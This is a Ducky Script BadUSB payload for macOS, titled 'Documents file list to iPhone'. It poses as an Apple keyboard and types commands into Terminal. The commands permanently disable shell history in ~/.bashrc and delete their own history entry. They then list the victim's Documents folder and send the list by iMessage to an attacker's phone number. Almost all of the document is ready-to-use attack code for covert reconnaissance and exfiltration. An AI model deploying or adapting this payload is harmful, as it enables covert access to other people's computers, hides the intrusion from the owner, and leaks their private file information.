46 lines
1 KiB
Plaintext
46 lines
1 KiB
Plaintext
REM This script gets a list of the files in the documents folder,
|
|
REM then it sends the list to your iphone.
|
|
REM Shoutout to matthewkayne and 0iphor13 for the Phone code part.
|
|
|
|
REM Replace "Phone Number HERE" with your phone number to receive MacOs System information
|
|
REM Replace "SYSTEM USERNAME HERE" with your phone number to receive MacOs System information
|
|
|
|
REM Title: Documents file list to iPhone
|
|
REM Author: NARSTY
|
|
REM Target: MacOS
|
|
REM Version: 1.0
|
|
REM Category: Recon
|
|
|
|
|
|
ID 05ac:021e Apple:Keyboard
|
|
DELAY 500
|
|
GUI SPACE
|
|
DELAY 500
|
|
STRING terminal
|
|
DELAY 1000
|
|
ENTER
|
|
DELAY 500
|
|
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING x=$(ls /Users/SYSTEM USERNAME HERE/Documents); osascript -e 'tell application "Messages" to send "'$x'" to buddy "Phone Number HERE"'
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 2000
|
|
GUI W
|
|
|
|
|
|
|
|
|
|
|
|
|